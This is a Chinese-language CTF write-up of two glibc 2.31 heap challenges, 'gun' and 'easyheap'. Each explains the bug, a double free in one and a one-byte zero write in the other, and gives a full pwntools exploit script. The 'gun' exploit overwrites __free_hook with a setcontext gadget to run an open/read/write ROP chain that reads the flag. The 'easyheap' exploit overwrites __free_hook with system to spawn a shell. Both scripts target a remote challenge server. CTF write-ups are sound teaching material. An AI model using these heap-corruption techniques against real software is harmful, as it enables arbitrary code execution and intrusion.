gun

GLIBC 2.31

程序实现了三个功能add,load,delete,其中add只能分配0x500一下的堆块,总共分配的堆块大小不超过0x1000,分配的基本单位是一个node,第一个值是buf,第二个值表示next_chunk,第三个值是flagload是创建了一个全局的单项链表,通过node->next_chunk也就是+0x10的位置进行串联。在delete的时候未清空next_chunk的指针。通过delete,load,delete可以制造double free漏洞,并且在第二次delete的时候会泄露出地址。

但是由于2.31tcache double free进行了检查,这个题目没有办法进行修改其keys,因此采用fastbin attack的方法来做。覆写__free_hookmagic gadget的值,该gadget的作用是将rdi转移到rdx中,并调用setcontext,我们找到下面的gadget

mov rdx, qword ptr [rdi + 8];
mov qword ptr [rsp], rax;
call qword ptr [rdx + 0x20];

# encoding=utf-8
from pwn import *

file_path = "./gun"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
    p = process([file_path])
    # gdb.attach(p, "b *$rebase(0x1a1e)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('123.56.96.75', 30772)
    libc = ELF('./libc-2.31.so')
    one_gadget = 0x0

def add(size, content=b"\\\\n"):
    p.sendlineafter("Action> ", "3")
    p.sendlineafter("Bullet price: ", str(size))
    p.sendafter("Bullet Name: ", content)

def delete(index):
    p.sendlineafter("Action> ", "1")
    p.sendlineafter("Shoot time: ", str(index))

def load(index):
    p.sendlineafter("Action> ", "2")
    p.sendlineafter("want to load?", str(index))

name = "lyyl"
p.sendlineafter("Your name: ", name)

for i in range(7):
    add(0x68) # 0 - 6
for i in range(3):
    add(0x10) # 7-9
add(0x28) # 10
add(0x420) # 11
add(0x28) # 12
add(0x28) # 13
load(13)
load(12)
load(11)
load(10)
delete(4)

add(0x68) # 10
add(0x68) # 11
add(0x68) # 12
add(0x28) # 13
load(10)
delete(4)

# p.recvuntil("Pwn! The  bullet fired.")
p.recvuntil("Pwn! The ")
libc.address = u64(p.recvuntil("bullet fired", drop=True).strip().ljust(8, b"\\\\x00")) - 96 - 0x3f0 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address {}".format(hex(libc.address)))
for i in range(3):
    p.recvuntil("Pwn! The ")
heap_base = u64(p.recvuntil("bullet fired", drop=True).strip().ljust(8, b"\\\\x00")) - 0x770 - 0x330
log.success("heap base {}".format(hex(heap_base)))

add(0x68) # 10

for i in range(3):
    load(7 + i)
delete(3)

add(0x68) # 7
add(0x68) # 8

load(10)
load(7)
load(8)

for i in range(7):
    load(i)

delete(11)

for i in range(7):
    add(0x68)

p_rdi_r = 0x0000000000026b72 + libc.address
p_rsi_r = 0x0000000000027529 + libc.address
p_rdx_r12_r = 0x000000000011c371 + libc.address
p_rax_r = 0x000000000004a550 + libc.address
syscall = 0x0000000000066229 + libc.address
ret_addr = 0x0000000000025679 + libc.address
flag_str_address = heap_base + 0x7c0 + 0x140
frame_address = heap_base + 0x7c0
orw_address = heap_base + 0x738
read_orw_address = heap_base + 0x6f8
flag_address = libc.sym['__malloc_hook'] + 0x200
# 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
magic = 0x0000000000154930 + libc.address

orw = flat([
    p_rax_r, 2,
    p_rdi_r, flag_str_address,
    p_rsi_r, 0,
    syscall,
    p_rax_r, 0,
    p_rdi_r, 3,
    p_rsi_r, flag_address,
    p_rdx_r12_r, 0x40, 0,
    syscall,
    p_rax_r, 1,
    p_rdi_r, 1,
    p_rsi_r, flag_address,
    p_rdx_r12_r, 0x40, 0,
    syscall
])

read_orw = flat([
    p_rax_r, 0,
    p_rdi_r, 0,
    p_rsi_r, orw_address,
    p_rdx_r12_r, 0x200, 0,
    syscall
])

payload = p64(0) + p64(frame_address) + p64(0)*2 + p64(libc.sym['setcontext'] + 61)
payload = payload.ljust(0xa0, b"\\\\x00") + p64(read_orw_address) + p64(ret_addr)

add(0x68, p64(libc.sym['__free_hook']) + read_orw + b"\\\\n") # 7
add(0x68) # 8
add(0x68) # 9
add(0x68, p64(magic) + b"\\\\n") # 10
add(0x150, payload.ljust(0x140, b"\\\\x00") + b"./flag\\\\x00".ljust(0x10, b"\\\\x00"))
load(11)
# gdb.attach(p, "b *$rebase(0x1a1e)")
delete(1)

p.sendline(orw)

p.interactive()

easyheap

程序提供了三种功能add,show,delete,函数漏洞的位置存在add函数中,

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/f852b15f-b9bd-4448-9ebc-990bba0af4fc/Untitled.png

看到当一开始输入一个超过限制范围的size的时候,然后后面重新输入合适的size的时候,并没有更新v2,因此存在一个任意地址的一字节0写入,当然这个地址偏移是两字节大小。

这里的利用方式就是提前进行一下堆布局,

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/141fa969-d135-4d64-a3b5-69e731a79aa4/Untitled.png

通过任意地址写0top chunk size改小。并且可以通过任意地址写0覆写tcachefd指针,指向fastbin中堆块的中间位置这里即0x500。申请到0x500的堆块之后,再次申请一个特定大小的堆块,使得其能够触发malloc_consolidate,并且切割之后放入unsorted bin中的chunk中存储libc附近的地址的位置为0x500,这样既可以泄露出libc基址。如下

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/388f4043-5cfa-4ffc-9666-61a777f7223c/Untitled.png

注意在申请0x500大小的堆块的时候需要伪造0x530堆块的size位,一个原因是过堆块合并的判断,另一个原因就是为之后申请_free_hook的堆块做准备。这里将size伪造为0x31大小。

此时申请0x30大小的堆块,我们就获得了指向相同堆块的两个内存指针,可以构造double free。但是这里对tcache double free进行了检查,首先需要任意地址写0覆写其keys指针。构造tcache double free,覆写__free_hooksystem地址,释放带有/bin/sh的堆块。

# encoding=utf-8
from pwn import *

file_path = "./easyheap"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
    p = process([file_path])
    # gdb.attach(p, "b *$rebase(0x175A)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('123.56.96.75', 30774)
    libc = ELF('./libc-2.31.so')
    one_gadget = 0x0

def add(size, content=b"\\\\n"):
    p.sendlineafter(">> ", "1")
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Content: ", content)

def overflow(size, new_size, content=b"\\\\n"):
    p.sendlineafter(">> ", "1")
    p.sendlineafter("Size: ", str(size))
    p.sendlineafter("Size: ", str(new_size))
    p.sendafter("Content: ", content)

def show(index):
    p.sendlineafter(">> ", "2")
    p.sendlineafter("Index: ", str(index))

def delete(index):
    p.sendlineafter(">> ", "3")
    p.sendlineafter("Index: ", str(index))

def padding(size):
    for i in range(7):
        add(size)
    for i in range(7):
        delete(i)

add(0x80-0x40) # overflow chunk
delete(0)
for i in range(7):
    add(0x58)
add(0x58) # 7
for i in range(5):
    delete(i)
delete(6)
delete(7)

add(0x58)
overflow(0x60 + 0x58 +0x2, 0x58)
add(0x58)
delete(2)
delete(1)
delete(0)

add(0x58)
overflow(0x60 + 0x58 +0x3, 0x58)
add(0x58)
delete(0)
delete(1)
delete(2)
delete(5)

gdb.attach(p, "b *$rebase(0x175A)")

overflow(0x60+0x60+1, 0x58)

add(0x58, b"a"*0x28 + p64(0x31) + b"\\\\n") # 1
add(0x58, b"\\\\x00"*0x28 + p64(0x31) + b"\\\\n") # 2

add(0x28)
show(2)

p.recvuntil("Content: ")
libc.address = u64(p.recvline().strip(b"\\\\n").ljust(8, b"\\\\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address {}".format(hex(libc.address)))

# gdb.attach(p, "b *$rebase(0x175A)")

add(0x28) # 4

delete(1)
delete(0)
delete(2)
overflow(0x98+2, 0x58, b"/bin/sh\\\\x00\\\\n") # 0
delete(4)
add(0x28, p64(libc.sym['__free_hook']) + b"\\\\n")
add(0x28)
add(0x28, p64(libc.sym['system']) + b"\\\\n")
delete(0)

p.interactive()